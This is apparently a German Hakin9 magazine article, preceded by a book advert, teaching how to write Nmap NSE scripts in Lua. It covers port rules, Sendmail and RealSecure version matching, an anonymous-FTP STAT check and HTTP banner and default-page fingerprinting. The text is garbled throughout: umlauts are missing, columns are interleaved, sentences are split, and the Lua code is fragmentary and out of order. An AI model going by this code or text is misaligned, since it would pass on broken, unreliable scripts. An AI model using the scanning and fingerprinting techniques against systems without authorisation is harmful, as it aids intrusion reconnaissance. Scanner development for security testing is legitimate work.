IhrunverzichtbarerBegleiter!
Profitieren Sie vom Know-how des Microsoft-Experten Ulrich B. Boddenberg und erfahren Sie alles ber Windows 8, was fr Administratoren wichtig ist. Er liefert Ihnen die technischen Grundlagen und Informationen zu allen zentralen Themen wie Deployment, Sicherheit, Management mit Gruppenrichtlinien, Anbindung mobiler Clients oder den Umgang mit SCCM. Kurz: Das Lsungsbuch fr Admins!
www.GalileoComputing.de/Netzwerke
Hakin9 Digest
Nmap gilt seit jeher als zentrales Netzwerkutility zur Umsetzung und Sttzung von Sicherheitsberprfungen. Ursprnglich als reiner Portscanner umgesetzt, kann die quelloffene Software mittlerweile mit zustzlichen Funktionen (z.B. Erkennung von Betriebssystemen und Diensten) aufwarten. Die grsste Neuerung jngeren Datums ist das Einfhren der Nmap Scripting Engine (NSE), mit der pluginbasierte Skripte umgesetzt werden knnen, um erweiterte Zugriffe und Tests zu realisieren.
Ein einfacher Nmap-Aufruf
Erweiterungen in der Software haben zustzliche Mglichkeiten zur automatisierten Auswertung von Zielsystemen eingefhrt. So lsst sich beispielsweise mit dem Schalter -O ein OS-Fingerprinting, bei dem das am Zielsystem eingesetzte Betriebssystem ermittelt wird, durchfhren. Und mit -sV werden als offen identifizierte Ports einem Application Mapping (Identifikation des dargebotenen Anwendungsprotokolls), einem Application Fingerprinting (Identifikation des eingesetzten Produkts) und manchmal einer zustzlichen Auswertung unterzogen. Eine der grssten Erweiterungen bestand in der Einfhrung der Nmap Scripting Engine (NSE). Durch das Einbinden dedizierter Plugins knnen whrend der Laufzeit die von nmap zusammengetragenen Informationen ausgewertet, zustzliche Tests initiiert und diese dokumentiert werden. Zur Umsetzung von NSE-Skripten wird die imperative Programmiersprache Lua verwendet. Nachfolgend ein typisches Beispiel, wie mit dem Aktivieren der Script-Engine durch -sC die zustzlichen Tests auf einem Webserver eingesetzt werden: Nmap steht fr Network Mapper. Hierbei handelt es sich um ein quelloffenes Netzwerkutility, welches ursprnglich als Portscanner konzipiert wurde. Durch einen simplen Aufruf wie nmap www.scip.ch lassen sich die offenen Ports am entsprechenden Zielsystem identifizieren. Durch unterschiedliche Schalter wie -sT, -sS und -sU knnen hierfr verschiedene Scan-Techniken verwenden werden:
C:\Dokumente und Einstellungen\maru>nmap -sS 192.168.0.1 Westeuropische Normalzeit C:\Dokumente und Einstellungen\maru>nmap -sS -sV -sC Starting Nmap 5.21 ( http://nmap.org ) at 2010-03-24 11:10 Nmap scan report for www.scip.ch (192.168.0.10) Host is up (0.0019s latency). PORT STATE SERVICE VERSION http rDNS record for 192.168.0.10: www.scip.ch 80/tcp open Apache httpd Westeuropische Normalzeit www.scip.ch -p 80
Starting Nmap 5.21 ( http://nmap.org ) at 2010-03-24 10:33 Nmap scan report for 192.168.0.1 Host is up (0.013s latency). Not shown: 999 filtered ports PORT 80/tcp open STATE SERVICE http
|_html-title: Sicherheit ist unser Gesch\xE4ft! scip AG Service detection performed. Please report any incorrect
results at http://nmap.org/submit/ .
8/2012
Dank NSE ist nmap weitaus mehr, als nur ein Portscanner. Wir benutzen bei unseren Security Scans eigene NSE-Skripte, um einen moderierbaren Vulnerability Scanner zu realisieren. Hierfr schreiben wir einzelne NSE-Skripte, die eine erweiterte Auswertung der Zielsystem vornehmen. Als Resultat werden hauptschlich gefundene Schwachstellen und Details zu diesen dokumentiert. Diese Resultate parsen wir in einem weiteren Schritt in eine Datenbank, in der wir sodann die Moderation der Daten vornehmen knnen. Durch die computergesttzte Analyse unter Zuhilfenahme unseres zentralen Expertensystems knnen wir damit unsere Prfungen effizienter und zuverlssiger gestalten. Grundstzlich wird der Schalter -sC verwendet, um einen Script-Scan einzuleiten. Innerhalb eines Skripts kann ber das Feld categories eine Zuweisung unterschiedlicher Kategorien erfolgen. Diese werden in der unten abgebildeten Tabelle aufgelistet. Durch den Schalter --script lassen sich sodann Skripte aus einzelnen Kategorien oder spezifischen Unterverzeichnissen bzw. einzelne Skripte separat ausfhren. Einige Skripte greifen auf dynamische Argumente zurck, die bei der Programmausfhrung durch den Schalter --script-args bergeben werden knnen.
Skript-Kategorie auth default discovery external intrusive malware safe version vuln Beschreibung Ermitteln von Authentisierungs-Credentials (z.B. Bruteforce) Standard-Skripte, die beim Aufruf von-sCausgefhrt werden Auswertung zugnglicher Dienste (z.B. Titel eines HTML-Dokuments oder SNMP-Eintrge) Skripte, die zwecks Weiterverarbeitung Daten an externe Dienste schicken (z.B. whois) Intrusive Skripte, die das Zielsystem (negativ) beeintrchtigen knnten (z.B. hohe CPU-Auslastung) berprfung der Infektion von Malware (Viren und Wrmer) Defensive Skripte, die keine intrusiven und destriktiven Zugriffe durchfhren Erweiterung zum Fingerprinting mit dem Schalter-sV Identifikation spezifischer Verwundbarkeiten (hnlich einem Vulnerability Scanner)
nis beziehungsweise an anderer Stelle gespeichert werden. Ein Miteinbeziehen bei einem Script-Scan erfordert in diesem Fall die zustzliche Angabe des jeweiligen Standorts. Der Aufbau eines NSE-Skripts gestaltet sich immer gleich: Im Kopf einer NSE-Datei finden sich einige deskriptive Felder, die grundlegende Informationen zum Plugin bereitstellen: Im Feld description wird beispielsweise eine Beschreibung des Tests festgehalten, in categories findet eine Zuweisung der Kategorien statt (siehe Teil 1), in dependencies werden Abhngigkeiten von anderen Skripten definiert, in author wird der Autor spezifiziert und in license die Lizenzbestimmungen festgehalten. Eine minimale Angabe gestaltet sich beispielsweise wie folgt:
In der rule-Sektion wird nun definiert, unter welchen Bedingungen das Skript ausgefhrt wird. Hierbei kann entweder eine portrule (fr Tests von Ports) oder eine hostrule (fr Tests von Hosts) verwendet werden. Eine Ableitung von einem Portscan fokussiert sich in erster Linie auf die portrule (das Prinzip der hostrule werden wir spter besprechen). Innerhalb von ihr wird vordefiniert, bei welchem Zustand eines Zielports eine Weiterverarbeitung des Skripts initiiert und damit schlussendlich die Schwachstelle gemeldet werden soll. Eine portrule kann unterschiedlich implementiert werden. Die einfachste und von vielen bevorzugte Methode besteht unter Zuhilfenahme der Library shortport und der entsprechenden Methoden. Nachfolgend wird zuerst die Library mittels require inkludiert und danach die Methode port_or_service() auf das Objekt shortport angewendet. Die genannte Methode erwartet drei verschiedene Argumente, wobei diese jeweils als Table (in anderen Programmiersprachen wird dieser Datentyp Array genannt) bergeben werden mssen. Das erste Argument definiert die Portnummern, das zweite die Protokollnamen und das dritte das Transportprotokoll. Es scheint offensichtlich, dass in diesem Beispiel eine portrule fr Web-Dienste umgesetzt wird.
Wir wollen nun ein simples Skript schreiben. Dieses sttzt sich in erster Linie auf den regulren Resultaten eines Portscans mit nmap ab. Wir bezeichnen ein solches Plugin als derivativ, da es eine Ableitung von grundlegenden Resultaten durchfhrt und damit keine eigenen Zugriffe ber das Netzwerk umsetzen wird. NSE-Skripte werden bei einer nmap-Installation standardmssig im Verzeichnis scripts abgelegt. Dort finden sich sodann auch die Standardskripte der jeweiligen Distribution. Zum Beispiel werden einige Skripte fr die Auswertung von FTP-Server mitgeliefert: ftp-anon.nse: Untersttzung fr anonymes FTP ftp-bounce.nse: Verwundbarkeit von FTP Bounce Scans ftp-brute.nse: Identifikation von Login-Credentials Ein NSE-Skript benutzt in der Regel die Dateierweiterung nse. Neue Skripte knnen in dieser Art ebenfalls ins script-Verzeichnis abgelegt werden. Oder sie knnen in einem Unterverzeich-
In einem weiteren Schritt kann nun in action die Weiterverarbeitung in der NSE-Dokumentation als Mechanism bezeichnet spezifiziert werden. Diese Funktion, sie kann als Main-Funktion verstanden werden, wird dann ausgefhrt, wenn portrule gleich true ist. Also dann, wenn ein Webserver auf dem Zielport vermutet (anhand der Portnummern) oder identifiziert (anhand der Protokollnamen) wird. In diesem Fall geben wir nur ganz allgemein mittels return eine Zeichenkette zurck, die explizit darber informiert, dass ein Webserver gefunden wurde und mit port.number geben wir die entsprechende Portnummer an.
www.hakin9.eu
Hakin9 Digest
Erweiterte Analyse der Ports
action = function(host, port) end return Webserver gefunden auf Port .. port.number
Es wird nun mit dem Schalter --script=scripts\labs\http-detection_simple.nse dieses einzelne Skript ausgefhrt. Und wie zu sehen ist, wird als Detail des offenen Ports zustzlich die explizite Ausgabe ausgewiesen:
Starting Nmap 5.21 ( http://nmap.org ) at 2010-03-24 12:37 NSE: Script Scanning completed. Host is up (0.0020s latency). PORT STATE SERVICE VERSION http Westeuropische Normalzeit
Nmap scan report for www.scip.ch (192.168.0.10) rDNS record for 192.168.0.10: www.scip.ch 80/tcp open Apache httpd
Es lassen sich in einem weiteren Schritt zustzliche eigene Funktionen definieren. Diese sind wie bei anderen funktionalen Programmiersprachen ber das Schlsselwort function definiert, knnen aus anderen Subroutinen aufgerufen und ihre Rckgabewerte weiterverarbeitet werden. Dedizierte Prozeduren lassen sich ebenfalls in externe Dateien ablegen. Mchte man diese mittels require einbinden, sieht nmap das Verzeichnis nselib vor. In diesem finden sich verschiedene Standard-Bibliotheken, die den Umgang mit nmap-Scans erleichtern. Wird ein Skript ausgefhrt, das einen Syntaxfehler aufweist, wird die Ausfhrung abgebrochen. Die durch den Lua-Interpreter ausgegebene Fehlermeldung wird ersichtlich, wenn nmap mit dem Debugging-Schalter -d ausgefhrt wurde. In der Standardbibliothek nmap wird mit den Methoden verbosity() und debugging() die Mglichkeit geboten, die Aktivierung von Verbose- und Debugging-Parametern zu erkennen und auf diese einzugehen. Vor allem, aber nicht nur, lohnt sich bei der Entwicklung von NSE-Skripten auf diese Mglichkeit sowie auf print_debug() zurckzugreifen, um je nachdem interne Details der Verarbeitung anzeigen zu lassen.
|_http-detection_simple: Webserver gefunden auf Port 80 Service detection performed. Please report any incorrect
Nmap done: 1 IP address (1 host up) scanned in 7.59 seconds Ausgabe des simplen Scripts
results at http://nmap.org/submit/ .
Dies war alles relativ simpel und erfllt zugegebenermassen zur Standardausgabe von nmap keinen zustzlichen Zweck. Sodann soll die Funktion erweitert werden, um ein Mehr an Informationen bereitstellen zu knnen. So wird mit common_ http_ports eine Table angelegt, in der die Standardports fr Webserver abgelegt sind. Indem nun diese Table mittels einer for-Schleife durchlaufen wird, kann nun explizit ermittelt werden, ob der angebotene Webserver auf einem Standardport horcht oder nicht. Der Zustand dessen wird als String (Yes|No) in der lokalen Variable common_port_found abgelegt. Zum Schluss wird in der lokalen Variable output das Resultat generiert und zurckgeliefert.
action = function(host, port)
Wird nmap mit dem Schalter -sV aufgerufen, wird das sogenannte Service and Version Fingerprinting umgesetzt. Als erstes wird bei einem offenen Port mittels Application Mapping versucht zu ermitteln, was fr ein Transportprotokoll angeboten wird. Es ist schlielich wichtig fr weiterfhrende Zugriffe zu wissen, ob ein Webserver mit HTTP oder ein Mailserver mit SMTP eingesetzt wird. Im gleichen bzw. im zweiten Schritt wird versucht, mittels Application Fingerprinting das eingesetzte Produkt (Name und Versionsnummer) zu erkennen. Eine solche Identifikation wird erforderlich, um produktspezifische Auswertungen und Angriffe voranzutreiben. Wird ein Scan mit aktivierter Version Detection durchgefhrt, kann innerhalb von NSE auf die damit zusammengetragenen Informationen zurckgegriffen werden. Diese sind in port.version.* abgelegt und knnen einzeln angesteuert werden. Folgende Tabelle verdeutlicht, dass sich ein analysierter SSH-Dienst umfassend auswerten lsst:
Variable port.version.name port.version.product port.version.version port.version.extrainfo inhalt Name des Anwendungsprotokolls Name des Produkts Versionsnummer des Produkts Zustzliche Informationen Beispiel ssh OpenSSH 4.7 (protocol 1.99)
local common_http_ports = {80, 443} local common_port_found = Nein for i=1, #common_http_ports, 1 do
end
end
output = output .. Port:\t\t .. port.number .. \n output = output .. Standard:\t .. common_port_found return output .. \n
end
Zuvor haben wir die shortport-Library genutzt, um eine mglichst simple Portrule zu definieren. Doch es gibt Situationen, nmlich wenn komplexe Ausdrcke verwendet werden sollen, in denen eine manuelle Portrule umgesetzt werden muss. Durch eine entsprechende Funktion soll in portrule ein wahrer Wert abgelegt werden. Liefert portrule entweder nil, false oder eine leere Zeichenkette zurck, dann wird action nicht ausgefhrt. In allen anderen Fllen schon. Es liegt nun also an uns, anhand des komplexen Ausdrucks die effektive Skript-Ausfhrung einzuleiten.
8/2012
Nachfolgende Funktion versucht zu erkennen, ob in port.service als erkanntes Anwendungsprotokoll smtp definiert wurde. Zustzlich wird in port.version.product berprft, ob die Zeichenkette sendmail im Rahmen der Version Detection ermittelt wurde. Dadurch kann eindeutig identifiziert werden, ob auf dem Zielport eine Sendmail-Implementierung vorhanden ist. Dies geschieht durch die uns schon bekannte Funktion string.match(), welche mit Pattern und regulren Ausdrcken umgehen kann.
zum Beispiel auch bei JetDirect zu beobachten). Aus diesem Grund kann es wichtig sein, dass die zuvor eingefhrte Prfung normalisiert wird, indem die Gross-/Kleinschreibung vereinheitlicht wird. Durch die Funktion string.lower() kann eine Zeichenkette komplett kleingeschrieben werden. Dadurch kann dann eine Prfung gegenber der durchgngig kleingeschriebenen Schreibweise sendmail also case-insensitive stattfinden:
string.match(string.lower(port.version.product), sendmail))
return false
end
Eine zustzliche Schwierigkeit der Identifikation kann sein, dass der Produktenamen nicht eindeutig ausfllt. Zum Beispiel dann, wenn ein Hersteller den Namen einer Produktserie anpasst oder verschiedene Produkte in einer Produktpalette zusammenfasst. Ein typisches Beispiel ist ISS RealSecure. Die kommerzielle Lsung bietet verschiedene Intrusion Detection-Komponenten an. Nachfolgend werden die Identifikationsmuster von nmap abgedruckt:
Obschon diese Determinierung relativ simpel erscheint, knnen mit ihr gewisse Komplikationen einhergehen. Doch bevor darauf eingegangen werden soll, soll das grundlegende Prinzip der Version Detection besprochen werden. Nmap nutzt die Datei nmap-service-probes, um unterschiedliche Anfragen an einen Zielport zu schicken. Anhand eines regulren Ausdrucks wird die Rckantwort untersucht, um die gegebene Implementierung zu erkennen. Nachfolgende Zeilen werden beispielsweise genutzt, um Sendmail auf einem SMTP-Port zu erkennen:
x01\0..\0\0..\0\0.\0\0\0..
match smtp m|^220[\s-](\S+) E?SMTP Sendmail (\d[^; ]+)| p/ match smtp m|^220[\s-](\S+) E?SMTP Sendmail AIX([\d.]+)/ i/AIX $2/ o/AIX/ Sendmail/ h/$1/ v/$2/ o/Unix/
match smtp m|^220[\s-](\S+) E?SMTP Sendmail AIX([\d.]+)/UCB (\d[^; ]+);| p/Sendmail/ h/$1/ v/$3/ i/AIX $2/ o/AIX/
match smtp m|^220[\s-](\S+) E?SMTP Sendmail \(#\)Sendmail version (\d[^; ]+) - Revision $3/ o/HP-UX/ ([\d.]+) | p/Sendmail/ h/$1/ v/$2 rev match smtp m|^220[\s-](\S+) E?SMTP Sendmail \(#\)Sendmail version (\d[^; ]+) - Revision ([\d.]+):: HP-UX([\d.]+)| p/Sendmail/ h/$1/ v/$2 rev $3/ o/HP-UX $4/
Es ist zu sehen, dass die Identifikation einer RealSecure-Installation als solche durchaus mglich ist. Schliesslich benutzt die Version Detection stets die Zeichenkette ISS RealSecure IDS in der Ausgabe. Von da unterscheiden sich jedoch die jeweiligen Implementationen und ihre Nennungen. Im ersten Fall wird generisch der Hinweis mit ISS RealSecure IDS auf Windows dargestellt. Im zweiten Fall wird jedoch zustzlich die Versionsnummer mit IDS ServerSensor ServerSensor v6.0 - 7.0, ebenfalls auf Windows, eingeschrnkt. In letztgenanntem Fall findet also eine striktere Eingrenzung statt. Diese soll nun, soll denn eine RealSecure-Installation im Allgemeinen erkannt werden, wieder abstrahiert werden. Zu diesem Zweck kann innerhalb von string.match() mit regulren Ausdrcken gearbeitet werden. Mit dem Zeichen ^ wird angegeben, dass die nachfolgende Zeichenkette zu Beginn gefunden werden muss. Da diese Zeichenkette mit beiden Identifikationen bereinstimmt, lsst sich damit die generische Identifikation des Produkts umsetzen.
string.match(port.version.product, ^ISS RealSecure)
Wie im zuvor gezeigten Code-Beispiel kann nun direkt in port. version.product nach dem Produktnamen Sendmail gesucht werden. Eine solche Prfung kann jedoch versehentlich fehlschlagen, wenn die zur Identifikation eingesetzte Schreibweise nicht bercksichtigt wird. Ein typisches Beispiel der inkonsistenten Schreibweise ist der Produktenamen VMware, der von vielen Leuten als Vmware (das M ist klein) geschrieben wird. In letztgenannten Fall wrde eine Prfung mit if port.version.product == VMware fehlschlagen (gleiches Problem ist
Die in den vorangehenden Teilen dieser Dokumentationsserie sowie dem an dieser Stelle diskutierten Thema erlauben nun das Umsetzen von mehrstufigen Skripten. Ein Skript kann als mehrstufig verstanden werden, wenn es eine zustzliche Applikationslogik enthlt, die eine Identifikation einer Gegebenheit
www.hakin9.eu
Hakin9 Digest
bzw. Schwachstelle auf unterschiedlichen Ebenen durchfhren kann. Die nun gezeigte Erweiterung bietet eine dreistufige Lsung, um einen SMTP-Mailserver als solchen zu identifizieren. Als erstes wird versucht anhand der Service Detection in port.version.product die Zeichenkette Sendmail zu finden. Ist dies der Fall, liefert die Portrule die Zeichenkette Application Fingerprinting zurck. Die Genauigkeit der Identifikation ist damit sehr hoch. Kann sie jedoch nicht umgesetzt werden, wird als zweites versucht den Zielport mittels port.service als smtp zu identifizieren. Ist dies erfolgreich, wird die Zeichenkette Application Mapping zurckgeliefert. Und versagt auch dieser Test, wird als dritte und letzte Mglichkeit versucht den Zielport anhand seiner Nummer in port.number mit 25 als Standardport zu ermitteln. In diesem Fall wird die Zeichenkette Portscan zurckgegeben. Kann keine der drei Identifikationsebenen einen Erfolg verbuchen, schickt die Funktion den Wert false zurck.
C:\Users\mruef>telnet 192.168.0.11 21 220 192.168.0.11 FTP server ready USER ftp
331 Anonymous login ok, send your complete email address as PASS example@test.invalid 230your password.
Welcome to the Demo Server 230 Anonymous access granted, restrictions apply. STAT 211-Status of scip ftp server this is just a demo Connected from maru.scip.ch (192.168.0.100) Logged in as ftp TYPE: ASCII, STRUcture: File, Mode: Stream 211 End of status No data connection
if string.match(port.version.product, Sendmail) then elseif port.service elseif port.number else end return Application Fingerprinting return Application Mapping return Portscan return false 25 then smtp then
Einfache ftP-Session
end
Die weiterfhrende Ausfhrung des Skripts kann sodann von den unterschiedlichen Rckgabewerten, den dabei zugrundeliegenden Identifikationsmethoden und der damit einhergehenden Genauigkeit abhngig gemacht werden. Zum Beispiel liesse sich in der Skript-Ausgabe ein Wert fr Accuracy bzw. Confidence ausgeben. Der Benutzer des Skripts kann anhand dessen ableiten, wie genau und zuverlssig der Test funktioniert hat. Im weitesten Sinn versucht zum Beispiel der kommerzielle Vulnerability Scanner Qualys mit einer zweidimensionalen Risikoangabe das gleiche Ziel zu erreichen (PRACTICE bezeichnet potentielle Schwachstellen und VULN identifiziert ausgenutzte Schwachstellen).
Dieser Zugriff soll nun mit einem NSE-Skript automatisiert werden. Zuerst sollen die Vorbereitungen fr das Skript, in nachfolgendem Codeblock abgebildet, stattfinden. Mit der Funktion nmap.new_socket() wird ein neuer Socket fr die lokale Funktion angelegt, mit der wir die FTP-Zugriffe durchfhren wollen. Die Rckantwort des FTP-Servers legen wir in der lokalen String-Variable result ab und den aktuellen Status der FTP-Kommunikation speichern wir in der boolschen Variable status. In einer weiteren boolschen Variable wird zwischengelagert, ob das geprfte Kommando als untersttzt identifiziert werden konnte (durch die Initialisierung zu Beginn lautet der Wert false).
initialisierung fr ftP-Zugriff
Netzwerkkommunikationen
Durch das eigene Absetzen von unabhngigen Netzwerkzugriffen knnen weiterfhrende Auswertungen und Angriffe angestrebt werden, wodurch nmap zu einem vollumfnglichen Vulnerability Scanner erweitert werden kann. Dieses Prinzip werden wir an einem Test fr FTP-Server illustrieren. Wir versuchen durch das Ausfhrung des FTP-Kommandos STAT eben die Untersttzung fr dieses es kann fr Auswertungen der FTP-Implementierung missbraucht werden auszumachen. Ein solcher Test erfordert eine initiale Authentisierung am FTP-Server mit legitimen Login-Credentials (im Beispiel wird ein anonymer FTP-Zugang verwendet) und die darauffolgende Eingabe des Befehls STAT. Wird dieser untersttzt, liefert der FTP-Server den Statuscode 211 zurck und informiert ber verschiedene Funktionalitten und Eigenschaften der gegenwrtigen Verbindung:
Danach richten wir eine Error Catch-Funktion ein, mit der wir Fehler abfangen wollen. Diese wird spter automatisch durch eine Anweisung durchlaufen, wird sie denn mit try() aufgerufen, sofern diese fehlschlgt. In diesem Beispiel wollen wir hiermit smtliche Probleme abfangen, die bei der Netzwerkkommunikation entstehen knnen (z.B. Verbindungsabbruch). Tritt dieser Fall ein, wird die Funktion err_catch genutzt, um mittels socket:close() den etwaig belegten Socket zu schliessen und damit wieder freizugeben. Damit wird ein Skriptabbruch bzw. ein Skriptaufhngen verhindert.
8/2012
Jetzt knnen wir mit der Umsetzung effektiver Netzwerkkommunikationen beginnen. Zuerst definieren wir mit socket:set_ timeout(10000) das Timeout des genutzten Sockets. Nach 10000 ms wird in jedem Fall ein Verbindungsabbruch initiiert, um ein Aufhngen des Skripts zu verhindern. Die nachfolgenden Befehle werden jeweils mittels der zuvor besprochenen try()-Funktion aufgerufen. Durch socket:connect() wird eine Verbindung zu einem Zielport hergestellt, wobei als erstes Argument das Zielsystem, als zweites der Zielport und als drittes das Transportprotokoll definiert wird. Nachdem die TCP-Verbindung etabliert wurde, kann socket:send() verwendet werden, um Kommandos zu verschicken. Hierbei findet eine bliche Authentisierung im Rahmen von FTP mit den Kommandos USER und PASS statt. Die while-Schleife wird nun solange durchlaufen, bis entweder status auf false gesetzt wird (wurde mit true initialisiert) oder das Timeout einsetzt (wurde auf 10 Sekunden gesetzt). Bei jedem Durchlaufen der Schleife wird versucht mittels socket:receive_lines(1) jeweils eine Zeile der Rckantwort sie wird als String in result abgelegt zu erhalten. Ist dies der Fall, wird durch den regulren Ausdruck in string.match(result, ^230) versucht zu erkennen, ob die Zeile mit dem Statuscode 230 beginnt. Dies ist der zu erwartende Statuscode eines FTP-Servers, wenn dieser eine anonyme Authentisierung erfolgreich zugelassen hat. Ist dies der Fall, wird die Schleife mittels break beendet und weiter im Code verfahren.
end
end
Dieses Plugin kann nun in Aktion gesehen werden. Wir rufen es in blicher Weise auf. Es stellt nun wie gewollt die Rckantwort des FTP-Servers, untersttzt dieser denn das geprfte STAT-Kommando, dar. Dieser hohe Detailgrad hilft dem Anwender dabei, auf einen Blick zu sehen, welche Funktionalitt gewhrleistet wird und wie sich diese genau verhlt.
socket:set_timeout(10000)
try(socket:connect(host.ip, port.number, port.protocol)) try(socket:send(USER anonymous\r\n)) while status do try(socket:send(PASS example@test.invalid\r\n)) status, result = socket:receive_lines(1); if string.match(result, ^230) then end break
C:\Users\mruef>nmap -sS -PN script=labs -p 21 ftp.scip.ch Starting Nmap 5.21 ( http://nmap.org ) at 2010-04-04 15:40 Nmap scan report for ftp.scip.ch (192.168.0.11) Host is up (0.025s latency). PORT STATE SERVICE ftp rDNS record for 192.168.0.11: ftp.scip.ch 21/tcp open Mitteleuropische Sommerzeit
end
| ftp_stat_support: 211-Status of scip ftp server this is | Connected from maru.scip.ch (192.168.0.100) Logged in as ftp TYPE: ASCII, STRUcture: File, Mode: Stream No data connection just a demo
| | |
Nach der erfolgreichen Authentisierung kann nun in gleicher Weise probiert werden, ob der FTP-Server auf das STAT-Kommando reagiert. Auch hier wird mit socket:send() die FTP-Anfrage geschickt, mit einer while-Schleife auf die Rckantwort gewartet, diese versucht mittels socket:receive_lines() abzugreifen und durch string.match(result, ^211) auf Erfolg hin zu prfen. Der FTP-Server schickt den Statuscode 211 zurck, sollte er das STAT-Kommando untersttzen. Ist dies der Fall, wird die Variable cmdpossible auf true gesetzt. Jetzt kann mit socket:close() der offene Socket geschlossen werden (in manchen NSE-Dokumentationen wird zuerst der regulre Verbindungsabbau innerhalb des Anwendungsprotokolls empfohlen; im Fall von FTP ist dies QUIT). Durch eine letzte Prfung von cmdpossible auf true kann nun endgltig verifiziert werden, ob die Schwachstelle existiert. Ist dies der Fall, wird die letzte Rckgabe, die in der Variable result abgelegt wurde, mittels return ausgegeben.
Zuvor haben wir den Debug-Schalter besprochen. Dieser kann beim Aufruf von nmap mittels -d aktiviert werden, um Debugging-Informationen zum Scan-Ablauf ausgeben zu lassen. Dies kann sehr hilfreich sein, um die Funktionalitt eines Skripts zu berprfen. Ein Skript selber kann ber nmap.debugging() die Aktivierung dieser Option berprfen. Wurde das Debugging nicht aktiviert, liefert diese Funktion den Wert 0 zurck. Mit einem Aufruf von -d2 kann gar das Debugging-Level 2, es wird ebenfalls so von der Funktion zurckgegeben, aufgerufen werden.
if nmap.debugging() > 0 then
www.hakin9.eu
Hakin9 Digest
Bercksichtigen aktivierten von Debuggings
Im Rahmen von intelligenten Plugins kann mit einer solchen Abfrage das Verhalten bzw. die Ausgabe dessen beeinflusst werden. Zum Beispiel knnte das soeben entwickelte Skript ohne Aktivierung des Debugging lediglich die Untersttzung der geprften Funktion ausweisen. Im Fall von -d knnte aber, so wie im Beispiel gezeigt, zustzliche Informationen zu den Rckgabewerten abgedruckt werden. NSE stellt mit http eine entsprechende Bibliothek fr das genannte Anwendungsprotokoll zur Verfgung. Sodann knnen mit verschiedenen Methoden HTTP-Anfragen sehr einfach durchgefhrt und die jeweiligen Rckantworten direkt dissektiert werden. Die wohl zentralste Methode lautet http.get(). Sie wird eingesetzt, um regulre HTTP GET-Anfragen an den Zielport eines Zielsystems durchfhren zu lassen. Dadurch knnen Zugriffe auf freigegebene Ressourcen umgesetzt werden. Diese Methode erwartet mindestens drei Argumente: Die IP-Adresse oder den Hostnamen des Zielsystems, die nummerische Darstellung des Zielports und die aufzurufende Ressource.
local response = http.get(host, port, /) Einfache HTTP GET-Anfrage
HttP-Kommunikationen
als drittes erfolgt optional das Stepping, also die Definition des Hochzhlens. blicherweise wird die Zhlervariable, so wie hier auch, um 1 inkrementiert. Bei jedem Durchlauf wird nun geprft, ob die jeweils eingelesene Zeile mit der Zeichenkette Server beginnt. Hierzu kommt die Methode string.find() zum Tragen. Sie erwartet minimal zwei Argumente. Das erste Argument bringt den Haystack, der durchsucht werden soll. Hier werden ausschliesslich Strings erwartet. Und das zweite Argument definiert das Pattern, welches gesucht werden soll. Fr das Pattern knnen regulre Ausdrcke, in diesem Fall wird das Sonderzeichen ^ zur Definition des Beginns einer Zeile genutzt, eingesetzt werden. In hnlicher Weise kann verfahren werden, wenn nicht nur die Existenz einer Header-Zeile determiniert, sondern auch gleich der Wert einer solchen extrahiert werden soll. Stattdessen benutzen wir nun einfach string.match(), das vom Prinzip her hnlich wie string.find() funktioniert. Durch den regulren Ausdruck knnen wir nun den Wert nach dem Zeilennamen extrahieren und zurckgeben (Zum reinen Suchen ist string.find() jedoch immer schneller als string.match()). Verhltnismssig unkompliziert kann damit nun die Ankndigung des Webservers extrahiert werden:
Die Rckgabe dieser Methode sind die jeweiligen Elemente der durch die Anfrage provozierten HTTP-Rckantwort. So wird durch response.rawheader der Zugriff auf die einzelnen HTTP-Header-Zeilen mglich und mit response.body kann auf den Body zugegriffen werden. Das Bereitstellen des Rawheaders erfolgt als Table, wobei eine jede Zeile ein Element darstellt. Dass erstmalig auf diese Datenstruktur zurckgegriffen wird, erschliet einen zentralen Vorteil: Dadurch kann nmlich separat auf die einzelnen Zeilen zugegriffen werden, ohne sich zuerst um ein Splitting der Eintrge kmmern zu mssen (das knnte durch myrawheader = stdnse.strsplit(\r?\n, header) bewerkstelligt werden). Durch response.rawheader[1] wird beispielsweise auf das erste Element in der Table, also die erste Header-Zeile, zugegriffen. Soll zum Beispiel geprft werden, ob die die Header-Zeile Server existiert, kann dies mit einer einfachen for-Schleife realisiert werden:
servermatch = string.match(haystack[i], ^Server: (.*)) if type(servermatch) == string and servermatch ~= then end return servermatch
end
Die Rawheader liefern jedoch nicht alle reinen Zeilen des HTTP-Headers zurck. Die Statuszeile fehlt. Auf diese kann als Ganzes mit response[status-line] zurckgegriffen werden. Sie enthlt das untersttzte Protokoll, die Protokollversion, den dreistelligen Statuscode und den Statustext (z.B. HTTP/1.0 404 Not Found). Auf den Statuscode kann unkompliziert mit response.status zugegriffen werden. Der Zugriff auf den Body einer HTTP-Rckantwort gestaltet sich ein bisschen einfacher, da dieser blicherweise in response.body als reiner String zurckgeliefert wird. Doch auch hier lassen sich die gleichen Weiterverarbeitungen, zum Beispiel das Finden von Zeichenketten, applizieren. Dies kann zum Beispiel fr das Identifizieren von Standardinstallationen von Webapplikationen genutzt werden (die Anzahl der Pattern ist der bersichtlichkeit halber stark reduziert worden):
end
Eine for-Schleife erwartet, wie bei den meisten Programmiersprachen blich, drei Argumente. Zuerst findet eine Initialisierung der Zhlervariablen statt. In diesem Fall wird i=1 verwendet. Das Zhlen der Elemente in einer Table beginnt in Lua immer mit 1 und nicht mit 0, wie bei vielen anderen hheren Programmiersprachen blich (z.B. C, Java, PHP). Als zweites Argument wird der Ausdruck definiert, der zu einem Beenden des Durchlaufens der Schleife fhrt. In diesem Fall wird #response verwendet, wodurch die Anzahl der Elemente in der Table angegeben, sie also alle durchgegangen, werden. Und
{pattern=Test Page for Apache Installation, {pattern=NT 4.0 Option Pack provides, {pattern=you can start deploying your J2EE, } product=Oracle} product=MS IIS 4.0}, product=Apache httpd},
8/2012
local result =
if string.find(response.body, mt[i].pattern) then resultdata = Pattern:\t .. mt[i].pattern .. \n .. Product:\t .. mt[i].product result = resultdata nil or result then
ob eine Seite existiert. Damit lassen sich entsprechend sehr einfach Checks im Sinn eines klassischen CGI-Scanners (z.B. Nikto) implementieren. Oder mit http.clean_404() kann eine dynamische 404 Not Found-Fehlerseite so angepasst werden, dass nur noch die statischen Inhalte vorhanden sind. Eine klare Unterscheidung zwischen Fehlermeldungen wird so mit einfachem Pattern-Matching (ohne komplexe regulre Ausdrcke) mglich.
if result else
end
end
end
resultdata
end
return result
